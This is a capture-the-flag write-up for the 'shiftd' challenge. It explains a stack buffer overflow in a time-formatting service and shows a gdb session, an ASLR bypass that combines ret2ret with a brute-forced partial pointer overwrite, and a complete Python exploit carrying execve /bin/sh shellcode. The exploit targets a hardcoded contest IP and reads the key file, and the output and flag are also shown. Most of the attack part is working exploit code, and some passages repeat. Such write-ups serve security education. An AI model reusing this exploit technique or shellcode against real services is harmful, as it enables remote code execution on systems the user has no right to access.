The given file shiftd-3a9c2a55e77d1467ee46dfb931170c737d24f310 is a ELF 64-bit LSB executable. The binary first checks for a string "NowIsTheWinterOfOurDiscountTent" using strcmp(). Once this is passed, name is requested. After this there is a request to provide a time format. Data is accepted using read() which is vulnerable to buffer overflow. 1072 bytes of data can overwrite saved RIP.
Here is the gdb session:
[*] Overwrite saved RIP with address of 'ret' instruction in text segment
[*] Overwrite LSB of the address immediately after saved RIP with NUL byte. This will lower the address
[*] Bruteforce the next byte so that it will point into our NOPs
[*] Our shellcode gets executed when we hit the right address
The key file was located in /home/shiftd/. Here is the final exploit to read the file
Here is the gdb session:
NowIsTheWinterOfOurDiscountTent Welcome to Shifty's Time Formatting Service! What is your name? AAAAAAAAAAAAAAAA Welcome, AAAAAAAAAAAAAAAA����>! Please provide a time format: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Your formatted time is: BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB Thank you! Come again! Program received signal SIGSEGV, Segmentation fault. 0x00000000004009eb in ?? () (gdb) x/x $rsp 0x7fffffffdf88: 0x4242424242424242 (gdb) x/10x $rsp 0x7fffffffdf88: 0x4242424242424242 0x00007fffffffe0c8 0x7fffffffdf98: 0x0000000100400643 0x6568547349776f4e 0x7fffffffdfa8: 0x664f7265746e6957 0x6f6373694472754f 0x7fffffffdfb8: 0x00746e6554746e75 0x0000000000000000 0x7fffffffdfc8: 0x0000000000000000 0x0000000000000000There is no canary or NX protection but we have ASLR to bypass. To bypass ASLR we look for valid pointers within the stack, do a partial overwrite using bruteforce and make it point into our NOPs. In the gdb session above, we see that there is a stack address immediately after the saved RIP.To exploit the binary:
[*] Overwrite saved RIP with address of 'ret' instruction in text segment
[*] Overwrite LSB of the address immediately after saved RIP with NUL byte. This will lower the address
[*] Bruteforce the next byte so that it will point into our NOPs
[*] Our shellcode gets executed when we hit the right address
The key file was located in /home/shiftd/. Here is the final exploit to read the file
#!/usr/bin/env python import socket import struct ip = '204.236.213.69' # shiftd.2013.ghostintheshellcode.com port = 5177 # msfvenom -p linux/x64/exec CMD=/bin/sh -a x86_64 -b '\x0a' # 47 bytes shellcode = ("\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00" + "\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6\x52\xe8" + "\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x56\x57" + "\x48\x89\xe6\x0f\x05") # 1072 bytes to overwrite RIP payload = struct.pack("B",0x90) * 975 payload += shellcode # 47 bytes payload += struct.pack("B",0x90) * 42 payload += struct.pack("<Q",0x400647) # overwrite saved RIP with ret2ret payload += struct.pack("B",0x00) # overwrite last byte of pointer with NUL # bruteforce stack address pointer for i in range(11,256): soc = socket.socket(socket.AF_INET,socket.SOCK_STREAM) soc.connect((ip,port)) soc.send("NowIsTheWinterOfOurDiscountTent\n") print soc.recv(512) soc.send("AAAAAAAAAAAAAAAA\n") # send name print soc.recv(512) byte7 = struct.pack("B",i) final = payload + byte7 + "\n" soc.send(final) # send time format print soc.recv(2048) soc.send("cat /home/shiftd/key\n") print soc.recv(1024)Since this is not a one shot exploit,we had to wait for sometime to get the shellcode to be executed
[ctf@renorobert PWN100-shift]# while true;do python exploit.py;done ######################################################################### What is your name? Welcome, AAAAAAAAAAAAAAAA�����! Please provide a time format: Your formatted time is: ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������j;X�H�/bin/sh Thank you! Come again! http://shifty.urbanup.com/4195551 ##########################################################################So the flag for the challenge is : http://shifty.urbanup.com/4195551